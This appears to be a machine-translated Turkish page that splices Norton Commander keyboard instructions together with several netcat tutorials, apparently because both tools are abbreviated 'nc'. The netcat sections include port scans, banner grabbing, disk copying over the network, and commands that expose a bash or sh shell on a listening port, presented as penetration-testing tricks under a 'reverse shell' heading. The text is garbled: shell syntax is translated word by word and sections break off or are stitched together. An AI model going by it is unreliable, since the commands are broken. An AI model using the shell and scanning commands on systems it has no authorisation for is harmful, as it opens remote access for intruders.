Temel NC komutları F1 - F10 fonksiyon tuşlarıyla çağrılır. Bu komutların listesi ekranın alt bilgi satırında bulunur.

A) İpucu, yardım, Yardım, F1 (Şek. 2, 3).

Bu tuşa bastığınızda ekranda şunlar görünür: Norton Commander sisteminin kısa bir açıklaması ve tuşların ve komutların amacını açıklayan bir araç ipucu.

B) kullanıcı menüsü, Menü, F2 (Şek. 4)

Bu komut kullanılarak ekranda kullanıcı tarafından oluşturulan ek bir menü çağrılır.

V) dosyanın içeriğini görüntüleme, Görünüm, F3 (Şek. 5).

İmleç, içeriğini görüntülemek istediğiniz dosyanın adının üzerine getirilmeli ve F3 tuşuna basılmalıdır. Dosyanın içeriği, görülebilen ve okunabilen ancak düzenlenemeyen monitör ekranında görüntülenecektir.

G) Metni düzenleme, Düzenle, F4 (Şek. 6)

Yerleşik Norton Commander düzenleyicisine bir dosya yüklemek için imleçle dosyanın üzerine gelip F4 tuşuna basmanız gerekir. Düzenleme amacıyla imleç tuşlarını kullanarak imleci hareket ettirebilirsiniz. Yerleşik düzenleyici Norton Commander, boyutu 30 KB'yi aşmayan bir dosyayla çalışabilir. Büyük dosyalar için, Norton Commander'da yapılandırılmışsa harici bir düzenleyici kullanılır. Bir dosyayı harici bir düzenleyiciye yüklemek için şu komutu kullanın: ALT tuşuna basarak+ F4.

D) Dosyaları ve dizinleri kopyalama, Kopyala, F5 (Şek. 7, 8, 9)

Bir dosyayı kopyalamak için, dosyanın bulunduğu dizini (kaynak) ve nereye kopyalanacağını (hedef) belirlemeniz gerekir. Pasif panelde hedef dizini ve aktif panelde kaynak dizini açmanız gerekir. İkincisinde, imleci kopyalanacak dosyanın üzerine getirip F5 tuşuna basmanız gerekir. Açılan iletişim kutusunda F5 tuşuna bastıktan sonra kopyalamayı onaylamanız gerekir. Gerekirse burada hedef dizinin adını düzeltebilir veya kopyalanan dosya için farklı bir ad verebilirsiniz.

Bir grup dosyayı kopyalarken, önce imleci ismin üzerine getirerek bunları işaretlemelisiniz. istenilen dosya ve Ekle tuşuna basın. İşaretlenen dosyanın adı rengi ve arka planı değiştirecektir. İmlecin bulunduğu dosyanın işaretini kaldırmak için tekrar Ekle tuşuna basmanız yeterlidir. Kopyalama F5 tuşuna basılarak yapılır. Görüntülenen iletişim kutusunda, hem tek bir dosyayı hem de bir grup (tümü) dosyayı kopyalamayı onaylamanız gerekir.

Bir dizindeki tüm dosyaları kopyalamanız gerekiyorsa, bunları seçmek için küçük sayısal tuş takımındaki * tuşuna basmanız yeterlidir. Seçimi iptal etmek için bu tuşa tekrar basın.

Belirli bir grubun tüm dosyalarını kopyalamanız gerekiyorsa, bunları seçmek için küçük sayısal tuş takımındaki tek işaret + tuşuna basmanız yeterlidir ve beliren iletişim kutusunda grup özelliğini seçin ve Enter tuşuna basın. Bunun tersine, bir seçimi iptal etmek için tek eksi işareti (-) tuşuna basın ve Enter tuşuna basın.


Ters seçim yapmak için küçük sayısal tuş takımındaki * tuşuna basın.

Kopyalama sırasında belirtilen grup özellikleri oldukça fazladır. Bazı örnekler Tablo 1'de gösterilmektedir. Tablo 1

Merhaba Sevgili Okuyucu X!

Sanırım bu çizime “Hacker mısın?” mini testi denilebilir. Bunu söylemeye çalış
bu komik kedi yavrusu anlamına geliyor. Eğer hala zorluklar ortaya çıkarsa, öyle ya da böyle tüm ileri düzey insanların en sevdiği şeyin önünüzde olduğunu bilin.
Ağ ile ilişkilendirilmiştir ve adı Netcat'tir.

Netcat, ağ üzerinden veri okumanıza ve aktarmanıza olanak tanıyan bir yardımcı programdır
bağlantılar. Başka bir deyişle Netcat her şeye bağlanmanıza ve her şeyi yapmanıza olanak tanır. Netcat, doğru kullanıldığında kesinlikle kendi kendine yeterlidir; yazılım aracı tanıdığınız kişiler de dahil
Apaçi. Yani, en basit versiyonunda Netcat, herhangi bir bağlantı noktasından herhangi bir bağlantı noktasına TCP ve UDP bağlantıları oluşturmanıza, gelen bağlantıları "dinleyebilmenize" olanak tanır (ve "yavru kediye" yalnızca adreslerden ve hatta istediğiniz bağlantı noktalarından gelen bağlantıları beklemesini emredebilirsiniz). belirtin!), bağlantı noktalarını tarayabilir, DNS sorgularına izin verebilir, standart girişten herhangi bir komut gönderebilir, "yavru kedinin" dinlediği bir bağlantıya yanıt olarak önceden tanımlanmış eylemleri gerçekleştirebilir, gönderilen ve alınan verileri Hex dökümü haline getirebilir ve çok daha fazlasını yapabilir ...

Gerçi Netcat'in her şeyi yapabileceğini en başından beri söylemek gerekiyordu sanırım; ve kullanım olanakları yalnızca bilgi seviyeniz ve hayal gücünüzle sınırlıdır. Başlangıçta Netcat bir Unix yardımcı programı olarak tasarlandı, ancak anladığınız gibi, "yavru kediyi" Windows'a taşımayan meraklılar olamazdı. Her iki versiyonu da arama motorlarında “Netcat” sorgusunu kullanarak kolaylıkla bulabilirsiniz. Ancak avantajlar elbette, derlendiğinde "yavru kediyi" biraz düzeltebilen ve böylece varsayılan olarak devre dışı bırakılan "ek özellikler" özelliklerini etkinleştirebilen Unix-oid'lere gidiyor.

Daha önce “yazılım tabanlı saldırılar” kullandıysanız ya da sadece açıklardan yararlandıysanız, muhtemelen bunların yarısından fazlasının şu ya da bu şekilde Netcat kullandığını fark etmişsinizdir. Bunun temel nedeni, Netcat'in, örneğin gelen verileri önce yorumlayan ve ancak daha sonra size veren bir Telnet istemcisinin aksine, gelen verileri (aynı zamanda gidenler gibi) hiçbir şekilde değiştirmemesidir. Netcat bu yüzden güçlü araç Bugtraq'ın yüzlerce yeni ilanla doldurulması sayesinde güvenlik açıklarını aramak ve kullanmak.

Ancak güvenlik açıklarını aramak sizin işiniz değilse Netcat'i bir web tarayıcısı olarak kullanmayı deneyebilir veya örneğin: posta istemcisi; özellikle de beri İnternet Explorer ve Outlook "taze" delikler buldu, eski güzel Unicode, heh... Üstelik Rus adamlarımız bu alanda kendilerini öne çıkardılar (! Ulusal gurur rol oynuyor!). Eğer bu yazıyı Explorer kullanarak okuyorsanız gidin ve nasıl bir "Eşek" olduğunuzu görün.
delikli

Bundan sonra Netcat'e geçeceksiniz; pek kullanışlı değil ama
güvenli... Ve son olarak Netcat'in “ileri düzey” kullanımına örnekler
(Unix):

  1. Netcat'i beğendim;
  2. Yardımcı program olarak Netcat " "; bunlar genellikle X'te açıklanır, ancak gerçekte yalnızca iyi bildiğiniz arama motorlarına istek gönderirler... "Yavru kediniz" de bu yararlı işi yapabilir!;
  3. Netcat'i beğenin! Sağlayıcıyı dinlendirin!!!

Lütfen her şeyin kabuk komut dosyaları biçiminde yapıldığını unutmayın; böylece gerekirse her şeyi düzeltebilirsiniz.
Bunun için veda etmek istiyorum. Kılavuzları okuyun ve ikonik Netcat yardımcı programını öğrenmede iyi şanslar!

P.S./Kişisel/: http://georgy.h1.ru/ sitesi benim tarafımdan kapatıldı. Bir kez ve herkes için. Misafirim olan herkese teşekkür ederim.

Bu yazıda popüler ağ yardımcı programı netcat'a ve onunla çalışırken faydalı püf noktalarına bakacağım.


Netcat, TCP ve UDP bağlantıları kurmanızı, oradan veri almanızı ve aktarmanızı sağlayan bir Unix yardımcı programıdır. Yararlılığına ve basitliğine rağmen, çoğu kişi onu nasıl kullanacağını bilmiyor ve haksız yere onu atlıyor.


Bu yardımcı programı kullanarak penetrasyon testi yaparken bazı adımları gerçekleştirebilirsiniz. Bu, saldırıya uğrayan makinede kurulu paketler olmadığında (veya dikkat çektiğinde), kısıtlamalar olduğunda (örneğin, IoT/Gömülü cihazlar) vb. yararlı olabilir.


Netcat ile yapabilecekleriniz:

  • Bağlantı noktalarını tarayın;
  • İleri bağlantı noktaları;
  • Hizmet pankartlarını toplayın;
  • Bağlantı noktasını dinle (ters bağlantı için bağla);
  • Dosyaları indirin ve yükleyin;
  • Ham HTTP içeriğinin çıktısını alın;
  • Mini sohbet oluşturun.

Genel olarak, netcat'in yardımıyla bazı Unix yardımcı programlarının yerini alabilirsiniz, dolayısıyla bu araç belirli görevleri gerçekleştirmek için bir tür birleştirme olarak düşünülebilir.

Pratik örnekler

Çoğu durumda, belirli bir ana bilgisayarı kontrol etmek gerekiyorsa, ana bilgisayarı veya başlığı tanımlamak için telnet'i veya kendi hizmet hizmetlerini kullanırlar. netcat bize nasıl yardımcı olabilir:

Açık TCP bağlantı noktası 12345 kontrol ediliyor

$ nc -vn 192.168.1.100 12345
nc: 192.168.1.100 12345'e (tcp) bağlanma başarısız oldu: Bağlantı reddedildi

$ nc -v 192.168.1.100 22
192.168.1.100 22 portuna bağlantı başarılı oldu!
SSH-2.0-OpenSSH

Netcat ile TCP bağlantı noktalarını taramak:

$ nc -vnz 192.168.1.100 20-24

Böyle bir taramayla bağlantı noktasına bağlantı olmayacak, yalnızca başarılı bir bağlantının çıktısı olacaktır:


nc: 192.168.1.100 bağlantı noktası 20'ye (tcp) connectx başarısız oldu: Bağlantı reddedildi
nc: 192.168.1.100 bağlantı noktası 21'e (tcp) connectx başarısız oldu: Bağlantı reddedildi
0 dernek bulundu
1 bağlantı bulundu:
1: bayraklar=82
outif en0
src 192.168.1.100 bağlantı noktası 50168
dst 192.168.1.100 bağlantı noktası 22
sıralama bilgisi mevcut değil
TCP yardımcı bilgisi mevcut
192.168.1.100 22 numaralı bağlantı noktasına bağlantı başarılı oldu!
nc: 192.168.1.100 bağlantı noktası 23'e (tcp) connectx başarısız oldu: Bağlantı reddedildi
nc: 192.168.1.100 bağlantı noktası 24'e (tcp) connectx başarısız oldu: Bağlantı reddedildi

UDP bağlantı noktaları taranıyor.

UDP bağlantı noktalarını nmap ile taramak için kök ayrıcalıklarına ihtiyacınız vardır. Eğer orada değillerse, bu durumda netcat yardımcı programı da bize yardımcı olabilir:


$ nc -vnzu 192.168.1.100 5550-5560
192.168.1.100 5555 numaralı bağlantı noktasına bağlantı başarılı oldu!

UDP paketi gönderme

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Bu, ağ cihazlarıyla etkileşimde bulunurken yararlı olabilir.

UDP bağlantı noktasından veri alma ve alınan verinin çıktısını alma

$ nc -u localhost 7777

İlk mesajdan sonra çıkış duracaktır. Birden fazla mesajı kabul etmeniz gerekiyorsa, while true'yu kullanmalısınız:


$ doğru iken; nc -u localhost 7777 yapın; Tamamlandı

Dosya aktarımı. Netcat'i kullanarak hem dosyaları alabilir hem de bunları uzak bir ana bilgisayara aktarabilirsiniz:


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Basit bir web sunucusu olarak Netcact.

Netcat, HTML sayfalarını görüntülemek için basit bir web sunucusu görevi görebilir.


$ doğru iken; nc -lp 8888 yapın< index.html; done

Şu adresteki bir tarayıcıyı kullanma: http://netcat host:8888/index.html. Standart web sunucusu bağlantı noktası numarası 80'i kullanmak için nc'yi kök ayrıcalıklarıyla çalıştırmanız gerekir:


$ doğru iken; sudo nc -lp 80 yapın< test.html; done

Düğümler arasında sohbet

İlk düğümde (192.168.1.100):


$nc -lp 9000

İkinci düğümde:


$nc 192.168.1.100 9000

Komutlar yürütüldükten sonra herhangi bir düğümdeki terminal penceresine girilen tüm karakterler, diğer düğümün terminal penceresinde görünecektir.

Ters kabuk

Netcat'i kullanarak uygun bir ters kabuk düzenleyebilirsiniz:


nc -e /bin/bash -lp 4444

Artık uzak ana bilgisayardan bağlanabilirsiniz:


$nc 192.168.1.100 4444

Belirli araçlarınız yoksa pes etmemelisiniz; çoğu zaman oldukça hantaldır; bazen sorun doğaçlama yöntemlerle çözülebilir.

Çalışmaya yönelik talimatlarNortonKomutan

NC sistemini başlatmak için komut satırı DOS, NC komutunu yazın veya bilgisayar masaüstündeki NC simgesine sol tıklayın. NC ile çalışmayı bitirmek için tuşuna basın [ F10] . Açılan iletişim kutusunda sistemden çıkış yapıyorsanız “Evet”, aksi halde “Hayır” cevabını seçin. Bir yanıt seçeneğinin seçilmesi, işlevsel klavyedeki imleç tuşları kullanılarak ve ardından tuşuna basılarak gerçekleştirilir. [ Girmek] . Ekranın alt kısmında NC kontrolü altında çalışırken uygun komutları girebileceğiniz DOS komut satırı bulunur. Ekranın en alt satırında, NC (ve DOS) komutlarına karşılık gelen ana "kısayol" tuşlarının amacını belirten bir ipucu satırı bulunur.

NC'yi başlattıktan sonra ekranda sol ve sağ olmak üzere iki panel belirir. Her panelin üst kısmında, geçerli dosya veya dizinin tam yolunu gösteren küçük dikdörtgen bir pencere bulunur. Vurgulanan dikdörtgenin (imleç) bulunduğu panele aktif denir. Panelden panele geçmek için tuşunu kullanın . Panelin üst satırı ve görsel seçilirse “…” bu, panelin üst kısmında gösterilen ismin bulunduğu dizinde olduğunuz anlamına gelir. Panellerle çalışmak için aşağıdaki komutlar kullanılır:

[ Ctrl] + [ F1] Sol paneli gizle/göster

[ Ctrl] + [ F2] Sağ paneli gizle/göster

[ Ctrl] + [ sen] Panelleri değiştir

[ Ctrl] + [ O] Her iki paneli gizle/göster

[ Ctrl] + [ P]Etkin olmayan paneli gizle/göster

Mantıksal disk adını değiştirmek için sol panele tıklayın [ Alternatif] + [ F1] , görüntülenen iletişim kutusunda, önerilen adlar arasından istediğiniz disk adını seçmek için imleç tuşlarını kullanın, tuşuna basın [ Girmek] . Sağ panel için eylemler benzerdir ancak başlangıçta [ Alternatif] + [ F2] .

Dizine gitmek için aktif panelde onu seçin ve tuşuna basın [ Girmek] . “…” Aktif panelde daha üst düzey bir dizine gitmek için satırı seçin. [ Girmek] .

ve tuşuna basın

[ FDizinlerle çalışmak için aşağıdaki komutlar kullanılır: 7] – bir dizin oluşturun

[ F8] – dizini sil. Görüntülenen iletişim kutusunda, Esc tuşuna basarak silme işlemini onaylayın veya silme işlemini iptal edin.

Dosyalarla çalışmak için aşağıdaki komutlar kullanılır:

[ Vardiya] + [ F4] – bir dosya oluşturun. Açılan iletişim kutusuna yeni bir dosya adı girin (uzantıyı belirtmeyi unutmayın). Dosya adı ayarlandıktan sonra dosyanın içeriğini ekran çalışma alanına yazın. Dosya oluşturma işlemini komutla tamamlayın [ Ctrl] + [ Z] Dosyayı kaydetmek için tuşuna basın [ F2] . tuşuyla düzenleme modundan çıkın [ F10 ] .

[ F4] – önceden oluşturulmuş bir belgeyi düzenlemek. Bu durumda düzenlenecek dosyanın adını iletişim kutusunda belirtmeniz gerekir. Düzenleme modunda çalışırken, alt kısımdaki ekran alanında, düzenleme modunda kısayol tuşlarının atanmasını içeren bir ipucu satırı görünür.

[ Vardiya] + [ F2] – dosyayı yeni bir adla kaydedin.

[ F3] – dosya içeriğini görüntüle. Bunu yapmak için önce paneldeki dosyayı seçin.

[ F5] – dosya kopyalama. Dosya ve dizinlerle ilgili tüm işlemler her iki panel kullanılarak gerçekleştirilir. Bir dosyayı kopyalamak için etkin olmayan bir panelde, kopyalanan dosyanın yerleştirileceği dizini ayarlayın, bu dizine gidin. Aktif panelde kopyalanacak dosyayı seçin ve tuşuna basın [ F5] . Kopyalamayı onaylamak için tuşuna basın [ Girmek] , iptal etmek için – .

[ F6] – dosyayı aktar/yeniden adlandır. İşlem kopyalamaya benzer. Bir dosyayı taşımak için aktif olmayan bir panelde dosyanın yerleştirileceği dizini ayarlayın ve bu dizine gidin. Aktif panelde taşınacak dosyayı seçin ve tuşuna basın [ F6] . Bir dosyayı yeniden adlandırmak için, iletişim kutusunda simgeyi kullanarak yeni bir dosya adı ekleyin. ” \ ” yolu belirtirken. Taşınan dosyanın orijinal konumundan silindiğini unutmamak gerekir.

[ F9] – menüye gitNC.

Dosyalar üzerinde grup işlemleri

Kopyalama, taşıma ve silme işlemleri birden fazla dosya üzerinde aynı anda gerçekleştirilebilir. Bunu yapmak için panelde vurgulayıp tuşuna basarak işaretlemeniz gerekir. [ Sokmak] . Bu durumda, seçilen dosyalar kontrast renkli dikdörtgenlerle vurgulanır. Seçimi kaldırmak için bu adımları tekrarlayın. Dosya seçimi işleminden sonra dosya grubu üzerinde sanki tek bir dosya varmış gibi gerekli işlem (kopyalama, taşıma, silme) gerçekleştirilir. Dosya seçmenin ikinci yolu büyük gri tuşa basmaktır. ”+” soldaki işlev klavyesinde. Bu tuşa bastıktan sonra iletişim kutusunda dosya adını belirtmeli veya adda maske kullanırken dosya adlarını belirtmelisiniz: “ * ”, “ *.* ”, “ ? ”. Dosyaların seçimini kaldırmak için soldaki işlevsel klavyedeki “-” tuşunu kullanın.

Sistem Menüsü NC

Menü sistemi, kabuğu özelleştirmek ve işlemleri kolaylaştırmak için tasarlanmıştır. Menü çubuğu bir tuşa basılarak çağrılır [ F9] . Menü sistemi bir menü çubuğu ve açılır menülerden oluşur. Menü aşağıdaki öğeleri içerir: Sağ Dosyalar Komut Ayarları Sol . Takımlar Sağ Ve Sol paneldeki dosya görüntüleme modu seçimini belirleyin. Sol ve sağ paneller için tüm komut seçenekleri aynıdır. Takım Dosyalar Dosyalar ve dizinler üzerinde işlemler gerçekleştirmek için tasarlanmıştır. Menü öğesi Takımlar ek komutları yürütmek için tasarlanmıştır. Takım Ayarlar NC ortamını ayarlamak için tasarlanmıştır. Uygun komutun seçilmesi, imleç tuşları kullanılarak ve ardından tuşuna basılarak yapılır. [ Girmek].

Menü öğesi Sol (Sağ).

Bu komutun açılır menüsü, dosyayı ekranda görüntüleme biçimini seçmeye yönelik seçenekler içerir. Modunda Kısa bilgi Panel yalnızca dosya ve dizin adlarını görüntüler. Modunda Tam dolu Dosyanın veya dizinin adı görüntülenir, dosya için boyutu belirtilir, dizin için - “alt dizin” dizesi, dosya ve dizinin oluşturulma tarihi ve saati. Modunda Ağaç Geçerli sürücünün dizin ağacını görüntüleyebilir ve imleci kullanarak ağaçta ilerleyerek gerekli dosyayı hızlı bir şekilde bulabilirsiniz. Bu menü öğesine ilişkin bir sonraki seçenek grubu, dosyaların panelde görüntülenme sırasını belirler. Bu durumda dosyalar herhangi bir sırayla düzenlenebilir - modda Sıralama yok , ancak belirli bir sıraya göre düzenlenebilir: İsim – alfabetik sıraya göre isme göre, Eklenti – alfabetik sırayla uzatılarak, Zaman – oluşturulma tarihine göre, en son oluşturulma tarihlerine sahip dosyalar listenin başında yer alacak şekilde, Boyut – azalan sırada dosya boyutuna göre.

Menü öğesi Dosyalar .

İlgili modun satırının seçilmesi imleç tarafından gerçekleştirilir ve onay kutusu "boşluk" tuşu kullanılarak ayarlanır. [ F1] - [ F8] Bu komutun açılır menüsü, kısayol tuşlarının amacının açıklamasını içerir [ F9] , yani kısayol tuşu eylemleri menü komutları tarafından kopyalanır. Bir sonraki seçenek Nitelikleri Ayarla'dır. Nitelikler yalnızca dosyalar için ayarlanır. Niteliklerin ayarlanma sırası şu şekildedir: paneldeki imleçle bir dosya seçin. Bundan sonra tuşuna basılarak Dosyalar NC menüsüne gidin ve öğeyi seçin Kurulum nitelikler [ Girmek] . Tuşa bastıktan sonra İletişim kutusunda olası niteliklerin bir listesi görünür: Salt Okunur, Arşiv, Gizli, Sistem Salt okunur değiştirilemez ve yalnızca görüntüleme için kullanılabilir. Nitelikler dosyası Gizlenmiş panelde küçük, vurgulanmış bir dikdörtgenle işaretlenmiştir (seçenek ekran ayarlarında ayarlanmamışsa) Gizli dosyaları göster Dosya adı panelde hiç görüntülenmiyor). Sonraki komut grubu dosyaları seçmenizi sağlar (büyük gri tuşa benzer) ”+” ), seçimi kaldırın (anahtara benzer) ” - ” işlev klavyesinde), seçimi ters çevir (şuna benzer) ” * ” işlev klavyesinde).

Menü öğesi Takımlar .

Bu komutun açılır menüsü, bir kullanıcı menüsü oluşturmanıza, bu menüyü düzenlemenize, DOS komut satırına girilen komutların geçmişini görüntülemenize olanak tanır ve NC kabuğunun diğer ek özelliklerini içerir.

Menü öğesi Ayarlar.

Bu komutun açılır menüsü, arayüz ortamını kullanıcı dostu bir şekilde yapılandırmanıza olanak tanır. Seçeneği içerir Ayarlar Editör ve diğerleri. Ayarlar menü çubuğunu seçtiğinizde, ekran için bir renk seti seçmenize, ekrandaki satır sayısını ayarlamanıza vb. olanak tanıyan bir dizi iletişim kutusu açılır. İletişim kutusu Panel Ayarları izin verir Gizli dosyaları göster, ilgili onay kutusu işaretlenmişse (veya gösterilmiyorsa). İlgili seçenek kutularının kontrolü de imleç ve boşluk çubuğu kullanılarak yapılır.

Laboratuvar ataması

Tek komutla (bağlantı noktası 8080) normal bir tarayıcıya sahip bir istemciye bir test HTML sayfası görüntüleme:
(echo -e "HTTP/1.1 200 OK\nContent-Type: text/html\n\n Merhaba Dünya";) | nc -vv -l -p 8080
Bir dosyayı normal bir tarayıcıya sahip bir istemciye tek komutla aktarma (bağlantı noktası 8080):
(echo -e "HTTP/1.1 200\nContent-Disposition: ek; dosya adı=istemcinin göreceği hedef adı\nContent-Type: application/octet-stream\nBağlantı: kapat\n"; cat dosya adı- diskte) | nc -vv -l -p 8080

nc nasıl kullanılır?

(http://handynotes.ru/2010/01/unix-utility-netcat.html )

Birkaç basit örnekle başlayalım ve sonra bunları temel örnekler olarak kullanalım.
Hatırlarsanız netcat'in İsviçre çakısı olduğunu söylemiştim.

Bu bıçak normal bir bıçak gibi kullanılamasaydı ne olurdu? Bu nedenle normal telnet yerine netcat kullanılabilir:

$nc www.google.com 80
Eylemlerin sonuçlarını daha ayrıntılı görüntülemek için -v seçeneğini, mevcut bağlantı oturumu sırasında kaç bayt aktarıldığına ilişkin istatistikler almak için (-vv) seçeneğini ekleyebilirsiniz.
Netcat sunucu olarak kullanılabilir. Aşağıdaki gibi çalıştırırsanız, 12345 numaralı bağlantı noktasını (tüm arayüzlerde) dinleyecektir:

$ nc -l -p 12345

Artık bu ana bilgisayarın 12345 numaralı bağlantı noktasına bağlanırsanız, yazdığınız her şey uzak tarafa gönderilecektir, bu da bize netcat'in bir sohbet sunucusu olarak kullanılabileceğini söyler. Bilgisayarlardan birinde çalıştırın:

# IP 10.10.10.10'a sahip A bilgisayarında
$ nc -l -p 12345

Ve ona başka bir yerden bağlanın:

# B bilgisayarında
$nc 10.10.10.10 12345

Artık her iki taraf da konuşabiliyor!
Her iki tarafın da birbiriyle konuşabildiği bu konuşma şekli, ağ üzerinden I/O işlemleri için nc'nin kullanılmasını mümkün kılar! Örneğin, ilk bilgisayarda nc aracılığıyla bir tar hattı çalıştırarak ve çıktıyı ikinci bilgisayardaki başka bir tar işlemine yönlendirerek bir dizinin tamamını bir bilgisayardan diğerine gönderebilirsiniz.
Diyelim ki A bilgisayarının /data dizininden IP 192.168.1.10 ile B bilgisayarına (herhangi bir IP ile) dosya göndermek istiyorsunuz. Çok basit:


$tar -cf - /veri | nc -l -p 6666


# B bilgisayarında
$nc 192.168.1.10 6666 | tar -xf -

Aktarımın ne kadar hızlı gerçekleştiğine ilişkin istatistikleri görmek için işlem hattını önceki makalede açıklanan Pipe Viewer ile birleştirmeyi unutmayın!
Tek bir dosya daha basit bir şekilde gönderilebilir:

# IP 192.168.1.10 ile A bilgisayarında
$ kedi dosyası | nc -l -p 6666


# B bilgisayarında
$nc 192.168.1.10 6666 > dosya

Hatta nc'yi kullanarak bir diskin tamamını kopyalayıp geri yükleyebilirsiniz:

# IP 192.168.1.10 ile A bilgisayarında
$ kedi /dev/hdb | nc -l -p 6666


# B bilgisayarında
$ nc 192.168.1.10 6666 > /dev/hdb

Not: Mac bilgisayarlarda “-l” seçeneği “-p” ile birlikte kullanılamaz! Çözüm basitçe “-l -p 6666? “-l 6666?. Buradaki gibi:

# artık nc, Mac bilgisayarlar için 6666 numaralı bağlantı noktasını dinliyor
$nc -l 6666

Netcat'in yaygın bir kullanımı port taramasıdır. Netcat bu tür işler için en iyi araç olmasa da işin yapılmasını sağlar (elbette en iyisi nmap'tir):

$ nc -v -n -z -w 1 192.168.1.2 1-1000
(BİLİNMİYOR) 445 (microsoft-ds) açık
(BİLİNMİYOR) 139 (netbios-ssn) açık
(BİLİNMİYOR) 111 (sunrpc) açık
(BİLİNMİYOR) 80 (www) açık
(BİLİNMİYOR) 25 (smtp): Bağlantı zaman aşımına uğradı
(BİLİNMİYOR) 22 (ssh) açık

-n seçeneği DNS aramalarını engeller, -z sunucudan yanıt beklemez ve -w 1? bağlantı zaman aşımını 1 saniyeye ayarlar.
Netcat'in önemsiz olmayan bir başka kullanımı da proxy olarak kullanılmasıdır. Hem bağlantı noktası hem de ana bilgisayar iletilebilir. Şu örneğe bakın:

$ nc -l -p 12345 | nc www.google.com 80

Bu komut nc'yi 1234 numaralı bağlantı noktasında çalıştırır ve tüm bağlantıları google.com:80'e yönlendirir. Şimdi bu bilgisayara 12345 numaralı bağlantı noktasından bağlanıp bir istekte bulunursanız, yanıt olarak herhangi bir veri almadığınızı göreceksiniz. Bu doğru çünkü çift yönlü bir kanal kurmadık. İkinci bir kanal eklerseniz verilerinizi farklı bir bağlantı noktasından alırsınız:

$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346

12345 numaralı bağlantı noktasına bir istek gönderdikten sonra yanıt verilerinizi 12346 numaralı bağlantı noktasından alın.
Netcat'in muhtemelen en güçlü özelliği herhangi bir işlemi sunucu olarak çalıştırmasıdır:

$ nc -l -p 12345 -e /bin/bash

-e seçeneği, giriş ve çıkışın ağ soketi üzerinden yeniden yönlendirilmesine neden olur. Artık ana bilgisayara 12345 numaralı bağlantı noktasından bağlanırsanız bash'ı kullanabilirsiniz:
$nc yerel ana makine 12345
ls-las
toplam 4288
4 drwxr-xr-x 15 pkrumins kullanıcısı 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 pkrumins kullanıcısı 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins kullanıcısı 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 pkrumins kullanıcısı 220 2009-01-18 21:04 .bash_logout

(http://execbit.ru/2011/05/23/netcat/)
1 Dosyaları aktarın (ilk komutu alıcı makinede, ikincisini gönderen makinede yürütürüz:

$ nc -l 31334 > dosya adı $ nc 172.16.69.143 31334< filename

$ nc -f /var/log/mesajlar | nc -l 31334 $ nc 172.16.69.143 31334

3 Telnet yerine kullanın (birincisi telnet sunucusu, ikincisi istemci):

$ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334

4 Şuraya Tara: açık bağlantı noktaları:

$ nc -z execbit.ru 1-1024

Banner'lara dayalı 5 Parmak İzi hizmetleri:

$ echo "ÇIK" | nc execbit.ru 1-1024

6 Ters bir kabuk düzenleyin (birincisi istemci, ikincisi sunucudur, ancak kabuk sunucudan istemciye açılacaktır).